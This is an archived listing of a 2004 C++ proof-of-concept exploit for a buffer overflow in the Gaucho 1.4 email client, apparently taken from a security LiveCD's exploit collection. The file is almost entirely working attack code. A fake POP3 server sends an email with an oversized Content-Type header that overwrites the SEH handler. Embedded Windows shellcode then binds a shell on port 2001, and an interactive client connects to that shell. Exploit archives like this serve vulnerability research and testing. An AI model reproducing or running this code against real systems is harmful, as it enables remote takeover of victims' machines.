home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / gaucho / gaucho140poc.cpp < prev   
C/C++ Source or Header  |  2005-02-12  |  13KB  |  445 lines

  1. //**************************************************************************
  2. // Gaucho Ver 1.4 Mail Client Buffer Overflow Vulnerability
  3. // Bind Shell POC Validation Code for English Win2K SP4
  4. // 10 Aug 2004
  5. //
  6. // Gaucho is an Email client developed by NakedSoft for Microsoft Windows 
  7. // platforms.  Gaucho supports SMTP, POP3 and other email delivery protocols.
  8. // Gaucho version 1.4 is vulnerable to a buffer overflow when receiving 
  9. // malformed emails from a POP3 server.  This vulnerability is triggered if the 
  10. // POP3 server returns a specially crafted email that has an abnormally long 
  11. // string in the Content-Type field of the email header. This string will
  12. // overwrite EIP via SEH, and can be exploited to execute arbitrary code.
  13. //
  14. // This POC code simulates a POP3 server that sends a specially crafted email 
  15. // to Gaucho, triggering the overflow and binds shell on port 2001 of a vulnerable 
  16. // Gaucho email client.
  17. //
  18. // Tested on Win2K SP4, you must find the address of JMP EDI instruction that 
  19. // is suitable for your system.
  20. //
  21. // Advisory 
  22. // http://www.security.org.sg/vuln/gaucho140.html
  23. //
  24. // Greetz: snooq, sk, and all guys at SIG^2 (www.security.org.sg)
  25. //
  26. //**************************************************************************
  27.  
  28. #include <winsock2.h>
  29. #include <windows.h>
  30. #include <stdio.h>
  31. #include <stdlib.h>
  32. #include <conio.h>
  33. #pragma comment(lib,"ws2_32.lib")
  34.  
  35. bool tcpInit()
  36. {
  37.     WORD wVersionRequested;
  38.     WSADATA wsaData;
  39.     int err;
  40.  
  41.     wVersionRequested = MAKEWORD( 2, 0 );
  42.  
  43.     err = WSAStartup( wVersionRequested, &wsaData );
  44.     if ( err != 0 ) {
  45.         return false;
  46.     }
  47.   
  48.     if (LOBYTE( wsaData.wVersion ) != 2 ||
  49.         HIBYTE( wsaData.wVersion ) != 0 )
  50.     {
  51.         WSACleanup();
  52.         return false;
  53.     }
  54.  
  55.     return true;
  56. }
  57.  
  58.  
  59. SOCKET tcpListen(int port)
  60. {
  61.     SOCKET sock;
  62.  
  63.     sock = socket(AF_INET, SOCK_STREAM, 0);
  64.  
  65.     if(sock == INVALID_SOCKET)
  66.         return sock;
  67.  
  68.     sockaddr_in sin;
  69.  
  70.     sin.sin_addr.s_addr = htonl(INADDR_ANY);
  71.     sin.sin_family = AF_INET;
  72.     sin.sin_port = htons(port);
  73.  
  74.     if(bind(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
  75.     {
  76.         printf("Error in bind().\n");
  77.         closesocket(sock);
  78.         return INVALID_SOCKET;
  79.     }
  80.  
  81.     if(listen(sock, 5) == SOCKET_ERROR)
  82.     {
  83.         printf("Error in bind().\n");
  84.         closesocket(sock);
  85.         return INVALID_SOCKET;
  86.     }
  87.  
  88.     return sock;
  89. }
  90.  
  91.  
  92. DWORD resolveIP(char *hostName)
  93. {
  94.     hostent *hent;
  95.     char **addresslist;
  96.     DWORD result = 0;
  97.  
  98.     hent = gethostbyname(hostName);
  99.     if(hent)
  100.     {
  101.         addresslist = hent->h_addr_list;
  102.     
  103.         if (*addresslist) 
  104.         {
  105.             result = *((DWORD *)(*addresslist));
  106.  
  107.         }
  108.     }
  109.  
  110.     return result;
  111. }
  112.  
  113.  
  114. SOCKET tcpConnect(char *host, int port)
  115. {
  116.     SOCKET sock;
  117.  
  118.     sock = socket(AF_INET, SOCK_STREAM, 0);
  119.  
  120.     if(sock == INVALID_SOCKET)
  121.         return sock;
  122.  
  123.     sockaddr_in sin;
  124.  
  125.     DWORD ip = resolveIP(host);
  126.     if(ip == 0)
  127.         ip = inet_addr(host);
  128.  
  129.     sin.sin_addr.s_addr = ip;
  130.     sin.sin_family = AF_INET;
  131.     sin.sin_port = htons(port);
  132.  
  133.     if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
  134.     {
  135.         printf("Connect failed.\n");
  136.         closesocket(sock);
  137.         return INVALID_SOCKET;
  138.     }
  139.  
  140.     return sock; 
  141. }
  142.  
  143.  
  144. void shell(int sockfd)
  145. {
  146.     char buffer[1024];
  147.     fd_set rset;
  148.     FD_ZERO(&rset);
  149.  
  150.     for(;;)
  151.     {
  152.         if(kbhit() != 0)
  153.         {        
  154.             fgets(buffer, sizeof(buffer) - 2, stdin);
  155.             send(sockfd, buffer, strlen(buffer), 0);
  156.         }
  157.  
  158.         FD_ZERO(&rset);
  159.         FD_SET(sockfd, &rset);
  160.  
  161.         timeval tv;
  162.         tv.tv_sec = 0;
  163.         tv.tv_usec = 50;
  164.         
  165.         if(select(0, &rset, NULL, NULL, &tv) == SOCKET_ERROR)
  166.         {
  167.             printf("select error\n");
  168.             break;
  169.         }
  170.         
  171.         if(FD_ISSET(sockfd, &rset))
  172.         {
  173.             int n;
  174.  
  175.             ZeroMemory(buffer, sizeof(buffer));
  176.             if((n = recv(sockfd, buffer, sizeof(buffer), 0)) <= 0)
  177.             {
  178.                 printf("EOF\n");
  179.                 exit(0);
  180.             }
  181.             else
  182.             {
  183.                 fwrite(buffer, 1, n, stdout);
  184.             }
  185.         }
  186.     }
  187. }
  188.  
  189.  
  190. #define OK_MSG            "+OK POC POP3 server for Gaucho Ver 1.4 Vulnerability ready.\r\n"
  191. #define STAT_REPLY        "+OK 1 1\r\n"
  192.  
  193.  
  194. char UIDL_REPLY[] =
  195.     "1 0123456789012345678901234567890123456789\r\n.\r\n";
  196.  
  197.  
  198. unsigned char bindShellEmail[] =
  199.     "Date: Mon, 09 Aug 2004 19:44:13 +0800\r\n"
  200.     "Subject: Testing\r\n"
  201.     "To: a@aaaaaa.xxx\r\n"
  202.     "From: XX <xx@xxxxxxxx.xxx.xx>\r\n"
  203.     "Message-ID: <GM109205179359A000.b76.xx@xxxxxxxx.xxx.xx>\r\n"
  204.     "MIME-Version: 1.0\r\n"
  205.     "Content-Type: "    
  206.     "AAAABBBBCCCCDDDDEEEEFFFFGGGG1HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  207.     "AAAABBBBCCCCDDDDEEEEFFFFGGGG"    
  208.     "\x37\x55\x62\x76"        // overwrites EIP via SEH, address of JMP EDI in MPR.dll
  209.                             // this address must be carefully chosen due to the filtering that is done
  210.                             // on the header messages.
  211.  
  212.     "IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  213.     "AAAABBBBCCCCDDDDEEEEFFFFGGGG3HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  214.     "AAAABBBBCCCCDDDDEEEEFFFFGGGG4HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  215.     "AAAABBBBCCCCDDDDEEEEFFFFGGGG5HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  216.     "AAAABBBBCCCCDDDDEEEEFFFFGGGG6HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  217.     "AAAABBBBCCCCDDDDEEEEFFFFGGGG7HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  218.     "AAAABBBBCCCCDDDDEEEEFFFFGGGG8HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  219.     "AAAABBBBCCCCDDDDEEEEFFFFGGGG9HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  220.     "AAAABBBBCCCCDDDDEEEEFFFFGGGGAHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  221.     "AAAABBBBCCCCDDDDEEEEFFFFGGGGBHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  222.     "AAAABBBBCCCCDDDDEEEEFFFFGGGGCHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  223.     "AAAABBBBCCCCDDDDEEEEFFFFGGGG"
  224.     "\xEB\x60"                    // FIRST jmp lands us here, do a SECOND jmp to land onto shellcode
  225.     "HHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  226.     ";"
  227.     "\x90\x90\xEB\x61"            // JMP EDI lands here, do the FIRST jmp here to reach the SECOND jmp
  228.     "set=US-ASCII\r\n"
  229.     "\r\n"
  230.     "\x90\x90"                    // shellcode sent in email body to avoid filtering (bindshell on 2001)
  231.     "\xEB\x62\x55\x8B\xEC\x51\x56\x57\x8B\x5D\x08\x8B\x73\x3C\x8B\x74"
  232.     "\x33\x78\x03\xF3\x8B\x7E\x20\x03\xFB\x8B\x4E\x18\x56\x33\xD2\x8B"
  233.     "\x37\x03\x75\x08\x33\xDB\x33\xC0\xAC\x85\xC0\x74\x09\xC1\xCB\x0C"
  234.     "\xD1\xCB\x03\xD8\xEB\xF0\x3B\x5D\x0C\x74\x0B\x83\xC7\x04\x42\xE2"
  235.     "\xDE\x5E\x33\xC0\xEB\x17\x5E\x8B\x7E\x24\x03\x7D\x08\x66\x8B\x04"
  236.     "\x57\x8B\x7E\x1C\x03\x7D\x08\x8B\x04\x87\x03\x45\x08\x5F\x5E\x59"
  237.     "\x8B\xE5\x5D\xC3\x55\x8B\xEC\x33\xC9\xB1\xC8\x2B\xE1\x32\xC0\x8B"
  238.     "\xFC\xF3\xAA\xB1\x30\x64\x8B\x01\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B"
  239.     "\x58\x08\x89\x5D\xFC\x68\x8E\x4E\x0E\xEC\xFF\x75\xFC\xE8\x70\xFF"
  240.     "\xFF\xFF\x83\xC4\x08\xBB\xAA\xAA\x6C\x6C\xC1\xEB\x10\x53\x68\x33"
  241.     "\x32\x2E\x64\x68\x77\x73\x32\x5F\x54\xFF\xD0\x89\x45\xF8\xEB\x35"
  242.     "\x5E\x8D\x7D\xF4\x33\xC9\xB1\x09\xFF\x36\xFF\x75\xFC\xE8\x40\xFF"
  243.     "\xFF\xFF\x83\xC4\x08\x85\xC0\x75\x0E\x90\xFF\x36\xFF\x75\xF8\xE8"
  244.     "\x2E\xFF\xFF\xFF\x83\xC4\x08\x89\x07\x33\xC0\xB0\x04\x03\xF0\x2B"
  245.     "\xF8\xE2\xD5\xEB\x29\xE8\xC6\xFF\xFF\xFF\x72\xFE\xB3\x16\x35\x54"
  246.     "\x8A\xA1\xA4\xAD\x2E\xE9\xA4\x1A\x70\xC7\xD9\x09\xF5\xAD\xCB\xED"
  247.     "\xFC\x3B\xEF\xCE\xE0\x60\xE7\x79\xC6\x79\xAD\xD9\x05\xCE\x54\x6A"
  248.     "\x02\xFF\x55\xE0\x33\xC0\x50\x50\x50\x50\x6A\x01\x6A\x02\xFF\x55"
  249.     "\xE4\x89\x45\xD0\x33\xC0\x50\xB8\xFD\xFF\xF8\x2E\x83\xF0\xFF\x50"
  250.     "\x8B\xC4\x6A\x10\x50\xFF\x75\xD0\xFF\x55\xE8\x6A\x05\xFF\x75\xD0"
  251.     "\xFF\x55\xEC\x85\xC0\x75\x68\x8B\xCC\x6A\x10\x8B\xDC\x33\xC0\x50"
  252.     "\x50\x53\x51\xFF\x75\xD0\xFF\x55\xF0\x8B\xD0\x5B\x83\xF0\xFF\x74"
  253.     "\x4E\x8B\xFC\x33\xC9\xB1\x64\x33\xC0\xF3\xAA\xC6\x04\x24\x44\x66"
  254.     "\xC7\x44\x24\x2C\x01\x01\x89\x54\x24\x38\x89\x54\x24\x3C\x89\x54"
  255.     "\x24\x40\x8B\xC4\x8D\x58\x44\xB9\xFF\x63\x6D\x64\xC1\xE9\x08\x51"
  256.     "\x8B\xCC\x52\x53\x53\x50\x33\xC0\x50\x50\x50\x6A\x01\x50\x50\x51"
  257.     "\x50\xFF\x55\xF4\x5B\x6A\xFF\xFF\x33\xFF\x55\xD4\xFF\x55\xD8\xFF"
  258.     "\x75\xD0\xFF\x55\xD8\x50\xFF\x55\xDC"
  259.     "\r\n"
  260.     ".\r\n";
  261.  
  262. unsigned char pocEmail[] =
  263.     "Date: Mon, 09 Aug 2004 19:44:13 +0800\r\n"
  264.     "Subject: Testing\r\n"
  265.     "To: a@aaaaaa.xxx\r\n"
  266.     "From: XX <xx@xxxxxxxx.xxx.xx>\r\n"
  267.     "Message-ID: <GM109205179359A000.b76.xx@xxxxxxxx.xxx.xx>\r\n"
  268.     "MIME-Version: 1.0\r\n"
  269.     "Content-Type: "    
  270.     "AAAABBBBCCCCDDDDEEEEFFFFGGGG1HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  271.     "AAAABBBBCCCCDDDDEEEEFFFFGGGG"            
  272.     "HHHH"            // overwrites EIP via SEH
  273.     "IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  274.     "AAAABBBBCCCCDDDDEEEEFFFFGGGG3HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  275.     "AAAABBBBCCCCDDDDEEEEFFFFGGGG4HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  276.     "AAAABBBBCCCCDDDDEEEEFFFFGGGG5HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  277.     "AAAABBBBCCCCDDDDEEEEFFFFGGGG6HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  278.     "AAAABBBBCCCCDDDDEEEEFFFFGGGG7HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  279.     "AAAABBBBCCCCDDDDEEEEFFFFGGGG8HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  280.     "AAAABBBBCCCCDDDDEEEEFFFFGGGG9HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  281.     "AAAABBBBCCCCDDDDEEEEFFFFGGGGAHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  282.     "AAAABBBBCCCCDDDDEEEEFFFFGGGGBHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  283.     "AAAABBBBCCCCDDDDEEEEFFFFGGGGCHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  284.     "AAAABBBBCCCCDDDDEEEEFFFFGGGGDHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  285.     "; charset=US-ASCII\r\n"
  286.     "Content-Transfer-Encoding: 7bit\r\n"
  287.     "X-Mailer: Gaucho Version 1.4.0 Build 145\r\n"
  288.     "\r\n"
  289.     "Testing\r\n"
  290.     "\r\n"
  291.     ".\r\n";
  292.  
  293.  
  294. void genUIDLreply(char *ptr)
  295. {
  296.     srand(GetTickCount());
  297.     for(int i = 2; i < 42; i++)
  298.     {
  299.         ptr[i] = (rand() % 94) + 0x21;
  300.     }
  301. }
  302.  
  303. void printUsage(char *filename)
  304. {
  305.     printf("\nUsage: %s <mode>\n\n", filename);
  306.     printf("  Mode can be:\n");
  307.     printf("  1 - POC Crash\n"
  308.            "  2 - Bindshell on Port 2001 (JMP EDI address is hardcoded for Win2K SP4)\n\n");
  309. }
  310.  
  311. int main(int argc, char* argv[])
  312. {
  313.     printf("Proof-of-Concept POP3 server for Gaucho Ver 1.4 Vulnerability\n");
  314.     if(argc != 2)
  315.     {
  316.         printUsage(argv[0]);
  317.         return 1;
  318.     }
  319.  
  320.     int mode = atoi(argv[1]);
  321.     if(mode != 1 && mode != 2)
  322.     {
  323.         printf("\nINVALID MODE!\n");
  324.         printUsage(argv[0]);
  325.         return 1;
  326.     }
  327.  
  328.     if(!tcpInit())
  329.     {
  330.         printf("Cannot start Winsock!\n");
  331.         return 1;
  332.     }
  333.     SOCKET s = tcpListen(110);
  334.     if(s == INVALID_SOCKET)
  335.     {
  336.         printf("Cannot create listening socket!\n");
  337.         return 1;
  338.     }
  339.     printf("Listening on POP3 port 110...\n");
  340.     
  341.     struct sockaddr_in sin;
  342.     int sin_size = sizeof(sin);
  343.     SOCKET client = WSAAccept(s, (SOCKADDR *)&sin, &sin_size, NULL, 0);
  344.     char buffer[1024];
  345.     int recvSize;
  346.  
  347.     if(client != INVALID_SOCKET)
  348.     {
  349.         // POP3 banner
  350.         send(client, OK_MSG, strlen(OK_MSG), 0);
  351.         recvSize = recv(client, buffer, sizeof(buffer), 0);
  352.         if(recvSize <= 0)
  353.             return 1;            
  354.  
  355.         fwrite(buffer, recvSize, 1, stdout);
  356.  
  357.         // OK to USER
  358.         send(client, OK_MSG, strlen(OK_MSG), 0);
  359.         recvSize = recv(client, buffer, sizeof(buffer), 0);
  360.         if(recvSize <= 0)
  361.             return 1;            
  362.  
  363.         fwrite(buffer, recvSize, 1, stdout);
  364.  
  365.         // OK to PASS
  366.         send(client, OK_MSG, strlen(OK_MSG), 0);
  367.         recvSize = recv(client, buffer, sizeof(buffer), 0);
  368.         if(recvSize <= 0)
  369.             return 1;            
  370.  
  371.         fwrite(buffer, recvSize, 1, stdout);
  372.  
  373.         // REPLY to STAT
  374.         send(client, STAT_REPLY, strlen(STAT_REPLY), 0);
  375.         recvSize = recv(client, buffer, sizeof(buffer), 0);
  376.         if(recvSize <= 0)
  377.             return 1;            
  378.  
  379.         fwrite(buffer, recvSize, 1, stdout);
  380.         
  381.         // REPLY to UIDL
  382.         genUIDLreply(UIDL_REPLY);
  383.         send(client, STAT_REPLY, strlen(STAT_REPLY), 0);
  384.         send(client, UIDL_REPLY, strlen(UIDL_REPLY), 0);
  385.         recvSize = recv(client, buffer, sizeof(buffer), 0);
  386.         if(recvSize <= 0)
  387.             return 1;            
  388.  
  389.         fwrite(buffer, recvSize, 1, stdout);
  390.  
  391.         // REPLY to LIST
  392.         send(client, STAT_REPLY, strlen(STAT_REPLY), 0);        
  393.         recvSize = recv(client, buffer, sizeof(buffer), 0);
  394.         if(recvSize <= 0)
  395.             return 1;            
  396.  
  397.         fwrite(buffer, recvSize, 1, stdout);
  398.  
  399.         if(mode == 1)
  400.         {
  401.             // send malicious email
  402.             send(client, (char *)pocEmail, strlen((char *)pocEmail), 0);            
  403.             printf("POC crash email sent...\n");
  404.  
  405.             recvSize = recv(client, buffer, sizeof(buffer), 0);
  406.             if(recvSize <= 0)
  407.                 return 1;            
  408.  
  409.             fwrite(buffer, recvSize, 1, stdout);
  410.         }
  411.         else
  412.         {
  413.             // send malicious email
  414.             send(client, (char *)bindShellEmail, strlen((char *)bindShellEmail), 0);
  415.             printf("Bindshell email sent.  Sleeping for 2 seconds...\n");
  416.             Sleep(2000);            
  417.  
  418.             //================================= Connect to the target ==============================
  419.             SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
  420.             if(sock == INVALID_SOCKET)
  421.             {
  422.                 printf("Invalid socket return in socket() call.\n");
  423.                 WSACleanup();
  424.                 return -1;
  425.             }
  426.  
  427.             sin.sin_family = AF_INET;
  428.             sin.sin_port = htons(2001);            
  429.  
  430.             if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
  431.             {
  432.                 printf("Exploit Failed. SOCKET_ERROR return in connect call.\n");
  433.                 closesocket(sock);
  434.                 WSACleanup();
  435.                 return -1;
  436.             }
  437.             
  438.             printf("\n");
  439.             shell(sock);
  440.         }
  441.     }
  442.  
  443.     return 0;
  444. }
  445.